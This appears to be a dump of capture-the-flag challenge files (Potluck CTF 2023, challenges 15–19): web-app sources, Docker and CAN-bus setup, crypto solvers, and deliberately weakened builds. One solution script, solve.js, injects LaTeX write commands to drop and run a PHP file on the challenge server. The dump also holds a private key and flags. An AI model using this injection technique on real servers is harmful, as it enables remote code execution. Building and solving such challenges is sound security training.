[`create-svelte`](https://github.com/sveltejs/kit/tree/main/packages/create-svelte). 4 | 5 | ## Creating a project 6 | 7 | If you're seeing this, you've probably already done this step. Congrats! 8 | 9 | ```bash 10 | # create a new project in the current directory 11 | npm create svelte@latest 12 | 13 | # create a new project in my-app 14 | npm create svelte@latest my-app 15 | ``` 16 | 17 | ## Developing 18 | 19 | Once you've created a project and installed dependencies with `npm install` (or `pnpm install` or `yarn`), start a development server: 20 | 21 | ```bash 22 | npm run dev 23 | 24 | # or start the server and open the app in a new browser tab 25 | npm run dev -- --open 26 | ``` 27 | 28 | ## Building 29 | 30 | To create a production version of your app: 31 | 32 | ```bash 33 | npm run build 34 | ``` 35 | 36 | You can preview the production build with `npm run preview`. 37 | 38 | > To deploy your app, you may need to install an [adapter](https://kit.svelte.dev/docs/adapters) for your target environment. 39 | -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "frontend", 3 | "version": "0.0.1", 4 | "private": true, 5 | "scripts": { 6 | "dev": "vite dev", 7 | "build": "vite build", 8 | "preview": "vite preview" 9 | }, 10 | "devDependencies": { 11 | "@sveltejs/adapter-auto": "^3.0.0", 12 | "@sveltejs/kit": "^2.0.0", 13 | "@sveltejs/vite-plugin-svelte": "^3.0.0", 14 | "@tailwindcss/typography": "^0.5.10", 15 | "autoprefixer": "^10.4.16", 16 | "daisyui": "^4.4.20", 17 | "postcss": "^8.4.32", 18 | "postcss-load-config": "^5.0.2", 19 | "svelte": "^4.2.7", 20 | "tailwindcss": "^3.3.6", 21 | "vite": "^5.0.3" 22 | }, 23 | "type": "module", 24 | "dependencies": { 25 | "@sveltejs/adapter-static": "^3.0.1", 26 | "marked": "^11.1.0" 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/postcss.config.cjs: -------------------------------------------------------------------------------- 1 | const tailwindcss = require("tailwindcss"); 2 | const autoprefixer = require("autoprefixer"); 3 | 4 | const config = { 5 | plugins: [ 6 | //Some plugins, like tailwindcss/nesting, need to run before Tailwind, 7 | tailwindcss(), 8 | //But others, like autoprefixer, need to run after, 9 | autoprefixer, 10 | ], 11 | }; 12 | 13 | module.exports = config; 14 | -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/src/app.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | %sveltekit.head% 8 | 9 | 10 |
%sveltekit.body%
11 | 12 | 13 | -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/src/app.pcss: -------------------------------------------------------------------------------- 1 | /* Write your global styles here, in PostCSS syntax */ 2 | @tailwind base; 3 | @tailwind components; 4 | @tailwind utilities; -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/src/lib/Card.svelte: -------------------------------------------------------------------------------- 1 | 4 | 5 |
9 |
13 | {@html preview} 14 |
15 |
16 | 17 | -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/src/lib/brand.js: -------------------------------------------------------------------------------- 1 | export let brand = "Santify" -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/src/lib/cookie.js: -------------------------------------------------------------------------------- 1 | import {browser} from "$app/environment"; 2 | 3 | function getCookies() { 4 | const cookies = {}; 5 | document.cookie.split(';').forEach((cookie) => { 6 | const [key, value] = cookie.split('='); 7 | cookies[key.trim()] = value; 8 | }); 9 | return cookies; 10 | } 11 | 12 | export let loggedIn = false; 13 | 14 | export function recheckLogin() { 15 | if (browser) { 16 | const cookies = getCookies(); 17 | loggedIn = !!cookies['username']; 18 | } 19 | } 20 | 21 | recheckLogin(); 22 | 23 | 24 | -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/src/lib/index.js: -------------------------------------------------------------------------------- 1 | // place files you want to import through the `$lib` alias in this folder. 2 | -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/src/lib/url.js: -------------------------------------------------------------------------------- 1 | export default "" -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/src/routes/+layout.js: -------------------------------------------------------------------------------- 1 | // This can be false if you're using a fallback (i.e. SPA mode) 2 | export const prerender = true; -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/src/routes/+page.svelte: -------------------------------------------------------------------------------- 1 |

Welcome to SvelteKit

2 |

Visit kit.svelte.dev to read the documentation

3 | -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/src/routes/inbox.php/+page.svelte: -------------------------------------------------------------------------------- 1 | 12 | 13 |
14 | {#each cards as card} 15 |
16 |
17 | From {card.slice(1,3).filter(x=>x).join(' at ')}: 18 |
19 | 20 |
21 | {/each} 22 | {#if cards.length === 0} 23 |
24 | No cards yet. 25 |
26 | {/if} 27 |
-------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/src/routes/index.php/+page.svelte: -------------------------------------------------------------------------------- 1 | 6 |
7 |

{brand}

8 |

Delivering Christmas Cards since 2023

9 | 10 |

11 | Welcome to {brand}! 12 | We are a small startup that delivers Christmas Cards to your loved ones. 13 |

14 | 15 |

16 | Our delivery service is based on the latest technology. 17 | We use a reindeer sleigh to deliver your cards. 18 | This is the fastest and most reliable way to deliver your cards. 19 |

20 | 21 |

News

22 | 23 |

24 | 2023-12-26: 25 | We ran into a slight problem: Santa Claus needed the reindeer sleigh to deliver presents, 26 | but hasn't returned it yet. In the meantime, you can manually print your cards or send and 27 | receive them via our new online service! 28 |

29 |
-------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/static/bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-15/challenge/app/frontend/static/bg.jpg -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/static/castle.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-15/challenge/app/frontend/static/castle.png -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/static/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-15/challenge/app/frontend/static/favicon.png -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/svelte.config.js: -------------------------------------------------------------------------------- 1 | import { vitePreprocess } from "@sveltejs/vite-plugin-svelte"; 2 | import adapter from '@sveltejs/adapter-static'; 3 | 4 | /** @type {import('@sveltejs/kit').Config} */ 5 | const config = { 6 | kit: { 7 | adapter: adapter({ 8 | 9 | }), 10 | }, 11 | 12 | preprocess: [vitePreprocess({})], 13 | }; 14 | 15 | export default config; 16 | -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/tailwind.config.cjs: -------------------------------------------------------------------------------- 1 | const daisyui = require("daisyui"); 2 | const typography = require("@tailwindcss/typography"); 3 | 4 | /** @type {import('tailwindcss').Config}*/ 5 | const config = { 6 | content: ["./src/**/*.{html,js,svelte,ts}"], 7 | 8 | theme: { 9 | extend: {}, 10 | }, 11 | 12 | plugins: [typography, daisyui], 13 | 14 | daisyui: { 15 | themes: ["autumn"], 16 | } 17 | }; 18 | 19 | module.exports = config; 20 | -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/vite.config.js: -------------------------------------------------------------------------------- 1 | import { sveltekit } from '@sveltejs/kit/vite'; 2 | import { defineConfig } from 'vite'; 3 | 4 | export default defineConfig({ 5 | plugins: [sveltekit()] 6 | }); 7 | -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "backend", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "keywords": [], 10 | "author": "", 11 | "license": "ISC", 12 | "dependencies": { 13 | "@types/express": "^4.17.21", 14 | "cookie-parser": "^1.4.6", 15 | "dompurify": "^3.0.6", 16 | "express": "^4.18.2", 17 | "http-php": "^1.3.4", 18 | "http-proxy-middleware": "^2.0.6", 19 | "jsdom": "^23.0.1", 20 | "php": "^1.0.2", 21 | "simple-svelte-autocomplete": "^2.5.2", 22 | "sql.js": "^1.9.0" 23 | }, 24 | "type": "module", 25 | "devDependencies": { 26 | "@types/cookie-parser": "^1.4.6", 27 | "@types/dompurify": "^3.0.5", 28 | "@types/express": "^4.17.21", 29 | "@types/jsdom": "^21.1.6", 30 | "@types/sql.js": "^1.4.9", 31 | "typescript": "^5.3.3" 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/readflag.c: -------------------------------------------------------------------------------- 1 | // this isnt vulnerable, this just enforces setuid because you can't do that with shell scripts 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int main() { 8 | setuid(0); 9 | FILE *file = fopen("/app/actual-flag", "r"); 10 | char *line = NULL; 11 | size_t len = 0; 12 | ssize_t read; 13 | 14 | while ((read = getline(&line, &len, file)) != -1) { 15 | printf("%s", line); 16 | } 17 | 18 | return 0; 19 | } 20 | -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/setup.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -x 3 | 4 | cd /app 5 | mkdir frontend/static/secret 6 | tar cvf frontend/static/secret/source-code.tar --exclude actual-flag /app /Dockerfile 7 | gcc readflag.c -o readflag 8 | npm install 9 | npx tsc 10 | cd /app/frontend 11 | npm install 12 | npm run build 13 | cd /app 14 | 15 | adduser app 16 | 17 | chmod -R 755 /app 18 | 19 | cp /app/flag.txt /app/flag 20 | cp /app/flag.txt /flag 21 | cp /app/flag.txt /flag.txt 22 | chmod 755 /flag 23 | chmod 755 /flag.txt 24 | 25 | mkdir images 26 | chown app images 27 | touch images/pls-no-delete 28 | chown root images/pls-no-delete 29 | 30 | chmod 700 actual-flag 31 | chmod u+s readflag 32 | -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/start.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -x 3 | 4 | cd /app; 5 | while true; do 6 | su app -c "node main-server.js"; 7 | done; -------------------------------------------------------------------------------- /challenges/challenge-15/solution/solve.js: -------------------------------------------------------------------------------- 1 | // go to index.php and run this in the devtools 2 | run = async cmd => { 3 | let r1 = await await fetch("/images/renderLaTeX.php", { 4 | "body": "1+1\n\\newwrite\\tempfile\n\\immediate\\openout\\tempfile=exploit.php\n\\immediate\\write\\tempfile{}\n\\immediate\\closeout\\tempfile\n", 5 | "method": "POST", 6 | }); 7 | let text = await r1.text() 8 | console.log(text) 9 | let lnk = (text).match(/\/images\/.+\//)[0] + 'exploit.php' 10 | let r2 = await fetch(lnk) 11 | return r2.text() 12 | } 13 | await run('/app/readflag') 14 | -------------------------------------------------------------------------------- /challenges/challenge-16/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-16/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-16/solution/solve_udc.sage: -------------------------------------------------------------------------------- 1 | p = ~-(-~(()==()))** 521 2 | c = 5437994412763609312287807471880072729673281757441094697938294966650919649177305854023158593494881613184278290778097252426658538133266876768217809554790925406 3 | F. = ZZ[] 4 | 5 | W = diagonal_matrix([2^176,1], sparse=False) 6 | lll = (matrix([[c,1],[p,0]])*W).LLL() / W 7 | 8 | for i in range(-99,99): 9 | for j in range(-99,99): 10 | sumXY, prodXY = vector([i, j]) * lll 11 | if 0 < sumXY < 256^22 and 0 < prodXY < 256^44: 12 | roots = (x * (sumXY - x) - prodXY).roots() 13 | if roots: 14 | print(i, j, [int(a).to_bytes(22, 'big') for a,b in roots]) 15 | # potluck{y0u_c4n_hav3_y0ur_cak3_&_ea7_1t_t0o} 16 | -------------------------------------------------------------------------------- /challenges/challenge-17/README.md: -------------------------------------------------------------------------------- 1 | # cookmaster - Potluck CTF 2023 2 | 3 | Starting the interface from the root folder with `docker compose up` 4 | should set everything up out of the box, and open a web interface on 5 | localhost at port 31337. You might have to `modprobe vcan` (e.g. on 6 | Ubuntu this requires you installing extra kernel modules) and some 7 | shenanigans for running the docker-in-docker setup. 8 | 9 | ## Exploits 10 | 11 | Make sure to compile the `randgen` Rust project first (in release 12 | mode), this is needed for the crypto exploit to work. 13 | -------------------------------------------------------------------------------- /challenges/challenge-17/challenge-a.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-17/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-17/challenge-b.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-17b/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/controller/.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | .vim/ 3 | -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/controller/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | resolver = "2" 3 | members = [ 4 | "controller", 5 | "ecsimple" 6 | ] 7 | -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/controller/controller/.rustfmt.toml: -------------------------------------------------------------------------------- 1 | max_width = 71 2 | use_small_heuristics = "Off" 3 | -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/controller/controller/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "controller" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | socketcan = { version = "3.3", features = ["tokio"] } 10 | tokio = { version = "1", features = [ 11 | "macros", 12 | "rt", 13 | "sync", 14 | "fs", 15 | "io-util", 16 | "time" 17 | ] } 18 | rand_chacha = "0.3" 19 | rand = "0.8" 20 | futures-util = "0.3" 21 | sha2 = "0.10.8" 22 | openssl = "0.10" 23 | ecsimple = { path = "../ecsimple" } 24 | serde_json = "1.0" 25 | serde = { version = "1.0", features = ["derive"] } 26 | -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/controller/ecsimple/.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | .DS_Store 3 | tmp* 4 | Cargo.lock 5 | -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/controller/ecsimple/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "ecsimple" 3 | version = "0.1.0" 4 | edition = "2021" 5 | rust-version = "1.59.0" 6 | authors = ["jeppeter "] 7 | description = """ 8 | Rust simple implementation for Elliptic Curve Cryptography 9 | """ 10 | license = "MIT/Apache-2.0" 11 | 12 | repository = "https://github.com/jeppeter/ecsimple" 13 | 14 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 15 | 16 | [dependencies] 17 | num-traits = "^0.2" 18 | lazy_static = "^1.4.0" 19 | chrono = "^0.4.0" 20 | num-bigint = "^0.4.3" 21 | hex = "^0.4.3" 22 | rand_core = "^0.6.4" 23 | rand = "^0.8.5" 24 | asn1obj = "^0.1.6" 25 | asn1obj_codegen = "^0.1.0" 26 | serde_json = "^1.0.42" 27 | sm3 = "^0.4.2" 28 | rand_chacha = "0.3" 29 | tokio = { version = "1", features = ["sync"] } 30 | 31 | [features] 32 | debug_mode = [] 33 | -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/controller/ecsimple/src/curve.rs: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/controller/ecsimple/src/errors.rs: -------------------------------------------------------------------------------- 1 | 2 | 3 | #[macro_export] 4 | macro_rules! ecsimple_error_class { 5 | ($type:ident) => { 6 | #[derive(Debug,Clone)] 7 | pub struct $type { 8 | msg :String, 9 | } 10 | 11 | impl $type { 12 | fn create(c :&str) -> $type { 13 | $type {msg : format!("{}",c)} 14 | } 15 | } 16 | 17 | impl std::fmt::Display for $type { 18 | fn fmt(&self,f :&mut std::fmt::Formatter) -> std::fmt::Result { 19 | write!(f,"{}",self.msg) 20 | } 21 | } 22 | 23 | impl std::error::Error for $type {} 24 | }; 25 | } 26 | 27 | #[macro_export] 28 | macro_rules! ecsimple_new_error { 29 | ($type:ty,$($a:expr),*) => { 30 | { 31 | let mut c :String= format!("[{}:{}][{}]",file!(),line!(),stringify!($type)); 32 | c.push_str(&(format!($($a),*)[..])); 33 | return Err(Box::new(<$type>::create(c.as_str()))); 34 | } 35 | }; 36 | } 37 | -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.7' 2 | 3 | x-common-config: 4 | &common-config 5 | user: "${UID-1000}:${GID-1000}" 6 | 7 | services: 8 | 9 | heater: 10 | <<: *common-config 11 | image: heater 12 | build: 13 | context: ./ 14 | dockerfile: ./heater/Dockerfile 15 | restart: always 16 | network_mode: "none" 17 | 18 | controller: 19 | <<: *common-config 20 | image: controller 21 | build: 22 | context: ./ 23 | dockerfile: ./controller/Dockerfile 24 | restart: always 25 | environment: 26 | EC_SKEY: '/app/privkey' 27 | CAN_IF: 'vcan0' 28 | RECIPE_PATH: '/app/recipes.json' 29 | FLAG_PATH: '/app/flag' 30 | network_mode: "service:heater" 31 | -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/extract_challenge_files.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/bash 2 | 3 | docker buildx build --target copy -o out --file controller/Dockerfile . 4 | docker buildx build --target copy -o out --file heater/Dockerfile . 5 | -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/flag1: -------------------------------------------------------------------------------- 1 | potluck{Just a dummy1} 2 | -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/flag2: -------------------------------------------------------------------------------- 1 | potluck{Just a dummy2} 2 | -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/heater/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM gcc:13.2.0 as builder 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | RUN apt-get update && \ 5 | apt-get -y install gcc make openssl && \ 6 | rm -rf /var/lib/apt/lists/* 7 | 8 | WORKDIR /app 9 | COPY heater/Makefile . 10 | COPY heater/heater.c . 11 | RUN make 12 | 13 | FROM scratch as copy 14 | COPY --from=builder /app/heater /heater 15 | 16 | 17 | FROM debian:bookworm-20231218 as runner 18 | ENV DEBIAN_FRONTEND noninteractive 19 | RUN apt-get update && \ 20 | apt-get -y install openssl && \ 21 | rm -rf /var/lib/apt/lists/* 22 | WORKDIR /app 23 | COPY --from=builder /app/heater heater 24 | COPY flag2 flag 25 | COPY wait_for_can.sh . 26 | COPY pubkey . 27 | 28 | CMD /app/wait_for_can.sh; ./heater 29 | -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/heater/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc heater.c -lcrypto -o heater -fno-stack-protector -no-pie 3 | run: all 4 | ./heater 5 | -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/heater/pubkey.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MDIwEAYHKoZIzj0CAQYFK4EEAAYDHgAENyDXnNSc2fAONVtDVPSAD5CWa2qfWfEa 3 | e5iOFA== 4 | -----END PUBLIC KEY----- 5 | -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/heater/requirements.txt: -------------------------------------------------------------------------------- 1 | msgpack==1.0.7 2 | packaging==23.2 3 | python-can==4.3.1 4 | typing_extensions==4.9.0 5 | wrapt==1.16.0 6 | -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/privkey: -------------------------------------------------------------------------------- 1 | -----BEGIN EC PRIVATE KEY----- 2 | MD4CAQEEDq74xQRAyV2fQlqQSdCooAcGBSuBBAAGoSADHgAES6OnNGRNsVCyzKxa 3 | zDNb8CX/uZ9gPwOE41htRQ== 4 | -----END EC PRIVATE KEY----- 5 | -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/pubkey: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MDIwEAYHKoZIzj0CAQYFK4EEAAYDHgAES6OnNGRNsVCyzKxazDNb8CX/uZ9gPwOE 3 | 41htRQ== 4 | -----END PUBLIC KEY----- 5 | -------------------------------------------------------------------------------- /challenges/challenge-17/cookmaster/wait_for_can.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | until [ -e /sys/class/net/vcan0 ] 4 | do 5 | sleep 5 6 | done 7 | 8 | exit 9 | -------------------------------------------------------------------------------- /challenges/challenge-17/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.7' 2 | 3 | services: 4 | interface: 5 | image: interface 6 | build: 7 | context: . 8 | target: production 9 | restart: always 10 | cap_add: 11 | - NET_ADMIN 12 | privileged: True 13 | pid: "host" 14 | network_mode: "host" 15 | expose: 16 | - 31337 17 | environment: 18 | POW_INIT_TIMEOUT: 300 19 | POW_TIMEOUT: 900 20 | POW_PREFIX_LEN: 32 21 | POW_DIFFICULTY: 22 22 | volumes: 23 | - /var/run/docker.sock:/var/run/docker.sock 24 | - /var/run/docker:/var/run/docker 25 | - ./data:/data 26 | 27 | cleanup: 28 | image: interface 29 | build: 30 | context: . 31 | target: production 32 | restart: always 33 | cap_add: 34 | - NET_ADMIN 35 | privileged: True 36 | pid: "host" 37 | network_mode: "host" 38 | command: ['python3', '-u', './cleanup.py'] 39 | volumes: 40 | - /var/run/docker.sock:/var/run/docker.sock 41 | - /var/run/docker:/var/run/docker 42 | - ./data:/data 43 | -------------------------------------------------------------------------------- /challenges/challenge-17/get_token.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Adapted from https://github.com/balsn/proof-of-work 3 | import hashlib 4 | import sys 5 | import requests 6 | 7 | 8 | def is_valid(digest, zeros, difficulty): 9 | if sys.version_info.major == 2: 10 | digest = [ord(i) for i in digest] 11 | bits = ''.join(bin(i)[2:].zfill(8) for i in digest) 12 | return bits[:difficulty] == zeros 13 | 14 | 15 | if __name__ == '__main__': 16 | HOST = 'http://adventure.secenv-int:31337' 17 | info = requests.post(f'{HOST}/pow', json={}).json() 18 | prefix = info['prefix'] 19 | difficulty = info['difficulty'] 20 | print(f'prefix: {prefix}') 21 | print(f'difficulty: {difficulty}') 22 | 23 | zeros = '0' * difficulty 24 | i = 0 25 | while True: 26 | i += 1 27 | s = prefix + str(i) 28 | if is_valid(hashlib.sha256(s.encode()).digest(), zeros, difficulty): 29 | info = requests.post(f'{HOST}/pow', json={ 30 | 'prefix': prefix, 31 | 'answer': str(i) 32 | }).json() 33 | print('Token: ' + info['token']) 34 | exit(0) 35 | -------------------------------------------------------------------------------- /challenges/challenge-17/interface/cleanup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sqlite3 3 | import time 4 | import os 5 | from src.container import container_state 6 | 7 | 8 | DB_PATH=os.environ.get('DB_PATH', '/data/team_info.db') 9 | 10 | 11 | if __name__ == '__main__': 12 | while True: 13 | try: 14 | con = sqlite3.connect(DB_PATH) 15 | print('Cleaning instances') 16 | cursor = con.execute('SELECT instance_id FROM instances WHERE valid_until < strftime("%s", "now")') 17 | instance_ids = [(row[0],) for row in cursor.fetchall()] 18 | print(f'Cleaning up {len(instance_ids)} instances') 19 | for (iid,) in instance_ids: 20 | container_state(iid, 'stop') 21 | cursor.executemany('DELETE FROM instances WHERE instance_id = ?', instance_ids) 22 | con.commit() 23 | con.close() 24 | except sqlite3.Error as e: 25 | print(e) 26 | 27 | print('Sleeping') 28 | time.sleep(10) 29 | -------------------------------------------------------------------------------- /challenges/challenge-17/interface/create_canbridge.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | IFNAME=$1 4 | NETNSPID=$2 5 | 6 | #echo "Delete device" 7 | ip link del ${IFNAME} || true 8 | echo "Add device" ${IFNAME} ${NETNSPID} 9 | ip link add ${IFNAME} type vxcan peer name vcan0 netns $NETNSPID 10 | ip link set ${IFNAME} mtu 72 11 | ip link set up ${IFNAME} 12 | nsenter -t $NETNSPID -n ip link set vcan0 up 13 | 14 | tc qdisc replace dev ${IFNAME} root tbf rate 16kbit latency 100ms burst 2000 15 | -------------------------------------------------------------------------------- /challenges/challenge-17/interface/create_canbus.sh: -------------------------------------------------------------------------------- 1 | #!/bin/env bash 2 | 3 | IFNAME=$1 4 | 5 | ip link add dev ${IFNAME} type vcan 6 | ip link set ${IFNAME} mtu 72 7 | ip link set up ${IFNAME} 8 | 9 | tc qdisc replace dev ${IFNAME} root tbf rate 16kbit latency 100ms burst 2000 10 | -------------------------------------------------------------------------------- /challenges/challenge-17/interface/requirements.txt: -------------------------------------------------------------------------------- 1 | aiofile==3.8.8 2 | aiopath==0.6.11 3 | anyio==3.7.1 4 | certifi==2023.11.17 5 | charset-normalizer==3.3.2 6 | click==8.1.7 7 | docker==7.0.0 8 | h11==0.14.0 9 | idna==3.6 10 | jinja2==3.1.2 11 | msgpack==1.0.7 12 | packaging==23.2 13 | python-can==4.3.1 14 | requests==2.31.0 15 | sniffio==1.3.0 16 | starlette==0.34.0 17 | typing_extensions==4.9.0 18 | urllib3==2.1.0 19 | uvicorn==0.25.0 20 | wrapt==1.16.0 21 | wsproto==1.2.0 22 | ecdsa==0.18 23 | aiosqlite==0.19 24 | -------------------------------------------------------------------------------- /challenges/challenge-17/interface/src/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-17/interface/src/__init__.py -------------------------------------------------------------------------------- /challenges/challenge-17/interface/static/background.avif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-17/interface/static/background.avif -------------------------------------------------------------------------------- /challenges/challenge-17/interface/static/style.css: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-17/interface/static/style.css -------------------------------------------------------------------------------- /challenges/challenge-17/solution/.gitignore: -------------------------------------------------------------------------------- 1 | venv/ 2 | privkey 3 | -------------------------------------------------------------------------------- /challenges/challenge-17/solution/randgen/.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | -------------------------------------------------------------------------------- /challenges/challenge-17/solution/randgen/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "randgen" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | rand = "0.8" 8 | rand_chacha = "0.3" 9 | -------------------------------------------------------------------------------- /challenges/challenge-17/solution/randgen/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::io::{Read, Write}; 2 | use rand::prelude::*; 3 | use rand_chacha::ChaCha8Rng; 4 | 5 | fn main() { 6 | let mut buf = Vec::new(); 7 | std::io::stdin().read_to_end(&mut buf).unwrap(); 8 | let num_buf: [u8; 8] = buf.try_into().unwrap(); 9 | let seed = u64::from_le_bytes(num_buf); 10 | 11 | let mut rng = ChaCha8Rng::seed_from_u64(seed); 12 | let mut buffer = [0u8; 32]; 13 | rng.fill_bytes(&mut buffer); 14 | std::io::stdout().write(&buffer).unwrap(); 15 | } 16 | -------------------------------------------------------------------------------- /challenges/challenge-17/solution/requirements.txt: -------------------------------------------------------------------------------- 1 | python-can==4.3 2 | ecdsa==0.18 3 | websockets==12.0 4 | pwntools==4.11 5 | -------------------------------------------------------------------------------- /challenges/challenge-18/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-18/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-18/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:alpine 2 | RUN apk add --no-cache socat 3 | RUN pip install --no-cache-dir pycryptodome 4 | 5 | COPY final.py / 6 | COPY FLAG.py / 7 | CMD socat tcp-listen:31337,reuseaddr,fork exec:'/usr/local/bin/python final.py' 8 | -------------------------------------------------------------------------------- /challenges/challenge-18/challenge/solve.sage: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import long_to_bytes as ltb 2 | from pwn import * 3 | 4 | blocks = 8 5 | conn = process(['python3', 'final.py']) 6 | # conn = remote('127.0.0.1', int(31337)) 7 | 8 | conn.recvline() 9 | p = int(conn.recvline()[2:]) 10 | K = GF(p) 11 | 12 | eqns = [] 13 | targetVec = [K(0) for _ in range(2*blocks)] 14 | for blkidx in range(2 * blocks): 15 | coeffs = [K(0) for _ in range(2*blocks)] 16 | conn.recvuntil(b'> ') 17 | conn.sendline(b'2') 18 | ct = int(conn.recvline()[4:]) 19 | iv = int(conn.recvline()[4:]) 20 | key = list(map(int, conn.recvline()[5:].split(b','))) 21 | for idx in range(blocks): 22 | if (iv >> idx) & 1: 23 | coeffs[idx + blocks] = key[idx] 24 | else: 25 | coeffs[idx] = key[idx] 26 | eqns.append(coeffs) 27 | targetVec[blkidx] = ct 28 | 29 | M = Matrix(K, eqns) 30 | print(M) 31 | S = M.solve_right(vector(targetVec)) 32 | print(S) 33 | 34 | soln = 0 35 | for elem in S[:blocks][::-1]: 36 | soln *= p 37 | soln += int(elem) 38 | 39 | print(ltb(soln)) 40 | 41 | print(M.nullity()) 42 | -------------------------------------------------------------------------------- /challenges/challenge-18/dist/final.py: -------------------------------------------------------------------------------- 1 | ../challenge/final.py -------------------------------------------------------------------------------- /challenges/challenge-19/README.md: -------------------------------------------------------------------------------- 1 | # ezrop 2 | Author: [Shayan Alinejad (Carixo)](https://github.com/CarixoHD) 3 | 4 | Category: Pwn 5 | 6 | Difficulty: Hard 7 | 8 | ## 